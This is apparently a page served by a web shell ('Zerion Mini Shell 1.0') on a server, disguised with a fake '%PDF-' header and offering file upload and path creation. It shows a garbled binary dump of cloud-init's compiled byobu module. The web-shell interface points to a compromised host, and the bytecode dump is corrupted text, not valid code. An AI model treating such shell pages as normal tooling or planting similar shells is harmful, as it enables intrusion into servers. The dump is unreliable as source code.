%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_byobu.cpython-312.pyc

�

���f�
�
��UdZddlZddlmZmZddlmZddlmZddl	m
Z
ddlmZddl
mZeje�Zd	d
dgegd�Ze
ed
<dededededdf
d�Zy)z=Byobu: Enable/disable byobu system wide and for default user.�N)�subp�util)�Cloud)�Config)�
MetaSchema)�ug_util)�PER_INSTANCE�cc_byobu�ubuntu�debian)�id�distros�	frequency�activate_by_schema_keys�meta�name�cfg�cloud�args�returnc���t|�dk7r|d}ntj|dd�}|stj	d|�y|dk(s|dk(rd|z}d}||vrtjd	|�|j
d
�}|j
d�}|jd�rd
}d}	d}n
|dk(rd}d}d}d}	d}
|rdtj||j�\}}tj|�\}
}|
stjd|�n|
d|
�d|��z
}
|
dz
}
|r|
d|	zz
}
|
dz
}
|
dz
}
t|
�r;ddd�d|
�dd��g}tj	d|�tj|d� �yy)!Nr�byobu_by_default�z1Skipping module named %s, no 'byobu' values found�user�systemz	enable-%s)zenable-userz
enable-system�enablezdisable-userzdisable-system�disablez%Unknown value %s for byobu_by_defaultz-userz-systemr�installz*byobu byobu/launch-by-default boolean trueTr�	uninstallz+byobu byobu/launch-by-default boolean falsezFNo default byobu user provided, can not launch %s for the default userz sudo -Hu "z" byobu-launcher-z || X=$(($X+1)); z"echo "%s" | debconf-set-selectionsz4 && dpkg-reconfigure byobu --frontend=noninteractivez/bin/shz-czX=0;� zexit $XzSetting byobu to %sF)�capture)
�lenr�get_cfg_option_str�LOG�debug�warning�endswith�
startswithr�normalize_users_groups�distro�extract_defaultr)rrrr�value�valid�mod_user�mod_sys�bl_inst�dc_val�shcmd�users�_groupsr�_user_config�cmds                �;/usr/lib/python3/dist-packages/cloudinit/config/cc_byobu.py�handler8s���
�4�y�A�~��Q����'�'��-?��D����	�	�E�t�L�����%�8�+��e�#��
�E�
�E�����;�U�C��~�~�g�&�H��n�n�Y�'�G�����!���=�����I���H��G���>���E��"�9�9�#�u�|�|�L����&�6�6�u�=���|���K�K�9��
�
�4��I�I�E��(�(�E��
�5��>�>��
�G�G��
�$�$��
�5�z��$�f�e�Y� G�H���	�	�'��/��	�	�#�u�%��)�__doc__�logging�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.distrosr�cloudinit.settingsr	�	getLogger�__name__r$r�__annotations__�str�listr8�r9r7�<module>rHs{��D�� �!�#�.�%�+��g����!����(�#��!�	��j��:&��:&�6�:&�%�:&�t�:&��:&r9

Zerion Mini Shell 1.0